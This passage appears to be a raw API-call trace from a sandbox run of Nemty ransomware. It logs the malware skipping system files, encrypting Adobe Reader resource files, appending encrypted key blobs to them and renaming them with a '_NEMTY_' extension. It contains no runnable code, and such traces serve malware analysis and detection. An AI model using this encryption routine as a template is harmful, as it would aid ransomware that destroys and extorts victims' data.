lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt._nemty_kgobjgd_")) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.035] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.da_DK.txt", cAlternateFileName="DID241~1.TXT")) returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2=".") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="..") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="...") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="windows") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="rsa") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="NTDETECT.COM") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="ntldr") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="MSDOS.SYS") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="IO.SYS") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="boot.ini") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="boot.ini") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="ntuser.dat") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="desktop.ini") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="CONFIG.SYS") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="RECYCLER") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="bootmgr") returned 1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="programdata") returned -1 [0215.035] lstrcmpiW (lpString1="DisplayLanguageNames.da_DK.txt", lpString2="appdata") returned 1 [0215.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da_DK.txt", lpUsedDefaultChar=0x0) returned 30 [0215.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da_DK.txt", lpUsedDefaultChar=0x0) returned 30 [0215.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da_DK.txt", lpUsedDefaultChar=0x0) returned 30 [0215.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da_DK.txt", lpUsedDefaultChar=0x0) returned 30 [0215.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.036] Sleep (dwMilliseconds=0x5) [0215.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33d04db0, dwHighDateTime=0x1d561e8)) [0215.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33d04db0, dwHighDateTime=0x1d561e8)) [0215.044] GetLastError () returned 0x0 [0215.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.044] GetLastError () returned 0x0 [0215.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.045] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.045] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="MT2Zunxjgsq0A8VVz7TmV1VoUX3rCd+siBFW4MNA/38sAhcUwN7WbwHPt+dpSMhL\r\nwVsJFMQe/V8cxh2UR+QBCZXQdHkOZLpY/gKY2lsaE1XEM8BfjHisFxhwV1Nk0Q+O\r\nGiznjWAeR8r9v6SpyqTLIf3l0KbLgw09DBsXwnSEXthyAZM6PEmrBDsHGpS/Y6V2\r\nPrFZGgzYalFy4ltUkgdHQr7omNeTChr9r7gqdcKD4kpHFThTlb59NSb3FX27Wyel\r\ngKSjXWs7BxLTMrdnARKObqUkJ7OLamrHS9A6N5oRRSgJFEXsT5PlTNjD/SY2MI+h\r\nESytztWOZBxIpLILJGWzCg==\r\n", pcchString=0x653e5dc) returned 1 [0215.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.046] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28018) returned 1 [0215.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0215.046] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.046] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0215.050] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.050] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0215.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.050] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28018, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d72 [0215.050] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.050] CloseHandle (hObject=0x2e8) returned 1 [0215.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.051] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt._nemty_kgobjgd_")) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.051] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72d6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.de_CH.txt", cAlternateFileName="DI26AE~1.TXT")) returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2=".") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="..") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="...") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="windows") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="rsa") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="NTDETECT.COM") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="ntldr") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="MSDOS.SYS") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="IO.SYS") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="boot.ini") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="boot.ini") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="ntuser.dat") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="desktop.ini") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="CONFIG.SYS") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="RECYCLER") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="bootmgr") returned 1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="programdata") returned -1 [0215.052] lstrcmpiW (lpString1="DisplayLanguageNames.de_CH.txt", lpString2="appdata") returned 1 [0215.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.053] Sleep (dwMilliseconds=0x5) [0215.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33d2af10, dwHighDateTime=0x1d561e8)) [0215.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33d2af10, dwHighDateTime=0x1d561e8)) [0215.059] GetLastError () returned 0x0 [0215.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.060] GetLastError () returned 0x0 [0215.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.061] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.061] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.062] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.062] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="4eGxxbdJQ2glK+8fBgtPHiJP5utLuUa7DvUJ/TEzamYyvVNqDWEtSTqXGSetarDY\r\nhQ/dQNbc7q7OUaMgGCQeXZmSrsrN/dWNfu/8cc0hL/83BKkmlluuG2KbHs0hH1Mf\r\n46G3Pmv69A9erf156DmeGHCi0/7gsqCD/Gcwpu2UDABsCbKUzcHmU8YfEm0bShSl\r\ns+So8j7uv/+qYCv+WBUyBquOdM0jJSUrYVJ6Yueqqw+7kplsVu7gX6NDFEwXU1jQ\r\n5tOvWIjZj+phWweiX4V2S66k1RCxQux8h2RDpNcI+rGZoW4wC90pi5Ul3VWM3Xva\r\nzigtUG5XD1mVx8qW7X2CHA==\r\n", pcchString=0x653e5dc) returned 1 [0215.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 